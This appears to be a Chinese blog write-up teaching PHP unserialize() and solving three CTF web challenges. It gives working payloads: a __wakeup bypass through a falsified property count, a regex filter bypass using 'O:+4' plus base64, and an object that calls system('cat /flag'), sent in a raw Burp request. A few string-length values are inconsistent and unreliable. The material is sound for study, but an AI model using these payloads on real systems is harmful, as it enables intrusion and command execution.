PHP反序列化
PHP 的序列化 / 反序列化核心依赖两个内置函数:
serialize():将对象 / 数组转为字符串(序列化);
unserialize():将序列化字符串还原为对象 / 数组(反序列化)。
此外,PHP 提供了 “魔术方法” 来干预序列化 / 反序列化过程,如 __sleep()(序列化前执行)和 __wakeup()(反序列化后执行)。
示例代码:
<?php
class Student {
public $name;
public $grade; //定义类
public function __construct($name, $grade) {
$this->name = $name;
$this->grade = $grade;
} //构造函数
public function __sleep() {
echo "PHP序列化前执行__sleep()\n";
return ['name'];
} //sleep魔术
public function __wakeup() {
echo "PHP反序列化后执行__wakeup()\n";
$this->grade = "默认年级";
} //wakeup魔术
public function showInfo() {
echo "学生信息:姓名={$this->name},年级={$this->grade}\n";
} //构造输出函数
}
$student = new Student("李四", "高三");
$serializedStr = serialize($student);
echo "PHP序列化结果:{$serializedStr}\n";
$deserializedObj = unserialize($serializedStr);
$deserializedObj->showInfo();
?>
输出的字符串格式为:
O:8:"Student":1:{s:4:"name";s:2:"李四";}
(含义:对象→类名长度→类名→属性数量→属性名→属性值)
输出如下:
PHP序列化前执行__sleep()
PHP序列化结果:O:8:"Student":1:{s:4:"name";s:2:"李四";}
PHP反序列化后执行__wakeup()
学生信息:姓名=李四,年级=默认年级
攻防世界unserialize3
题目代码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
__wakeup():反序列化时自动触发,执行exit直接终止程序,导致后续的__destruct()无法执行;
__destruct():对象销毁时自动触发,会输出flag的值(这是我们要触发的核心方法);
程序接收 GET 参数a,并对其反序列化,正常输入会触发__wakeup(),使用我们需要利用一个php漏洞:当序列化字符串中,表示对象属性个数的数字 > 实际属性个数 时,__wakeup()不会被触发。
因此我们只需要通过get传入一个对应的payload即可,构建原111的序列化可以使用php生成:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){}
public function __destruct(){}
}
$obj = new xctf();
echo serialize($obj); // 输出序列化字符串
?>
得到结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
把书写个数从1改为2,得到:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
最终通过get传入参数 ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到最终结果:the answer is : cyberpeace{44d101ec3dfcaa3d6740468ea96d1fbe}
攻防世界 Web_php_unserialize
题目代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
这道题相对于上一道攻防世界unserialize3做了点防御:
- 拦截 O/C: 数字:格式的序列化字符串
- 要求参数先 base64 编码
对应绕过方式如下:
- 数字前加
+号,PHP 仍能正常解析,但:\d+:不再匹配。 - 传参前base编码即可
先使用php代码得到原始序列化数据:
<?php
class Demo {
private $file = 'fl4g.php'; // 目标文件(网站上提示的)
public function __construct($file) {
$this->file = $file;
}
function __destruct() {}
function __wakeup() {}
}
$obja = new Demo('fl4g.php');
$ser = serialize($obja);
echo "原始序列化字符串:" . $ser . "\n";
?>
得到如下:(/00为空字符)
O:4:"Demo":1:{s:10:"\00Demo\00file";s:8:"fl4g.php";}
首先更改属性值1为2,再把O:4改为O:+4,得到:
O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}
再进行base64编码,可以利用php进行编码,代码:
<?php
// 注意:\00要写成\x00(PHP中表示空字符)
$payload = 'O:+4:"Demo":2:{s:10:"' . "\x00" . 'Demo' . "\x00" . 'file";s:7:"fl4g.php";}';
$base64_payload = base64_encode($payload);
echo "Base64编码后的payload:" . $base64_payload . "\n";
?>
得到payload:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag:
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
[[SWPUCTF 2022 新生赛]1z_unserialize]
题目显示代码:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
本题较上题较为简单,直接构建序列化的payload,原理:$a($this->lly) 等价于 $this->lt($this->lly),你可以控制 lt 为任意函数名(比如system),控制 lly 为该函数的参数(比如cat /flag),从而执行任意命令,通过cat /flag命令查看flag,构建代码如下:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
}
$obj = new lyh();
$obj->lt = "system";
$obj->lly = "cat /flag";
echo serialize($obj);
?>
输出结果是:
O:3:"lyh":3:{s:3:"url";s:9:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:8:"cat /flag";}
然后打开Burp进行POST传参,开启代理拦截,拦截到后更改文本内容,原内容如下:
GET / HTTP/1.1
Host: node5.anna.nssctf.cn:20085
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1772881443; HMACCOUNT=A57936A89C73D0D0; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1772881839
Connection: keep-alive
首先更改为POST传递,添加POST请求头,随后在文本后面加入传递内容,更改后的文本如下
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:20085
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1772881443; HMACCOUNT=A57936A89C73D0D0; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1772881839
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
放行后得到flag:NSSCTF{53d26daa-19b8-46aa-aa82-031bb12e5804}
JAVA反序列化
使用java.io.Serializable 接口

Comments NOTHING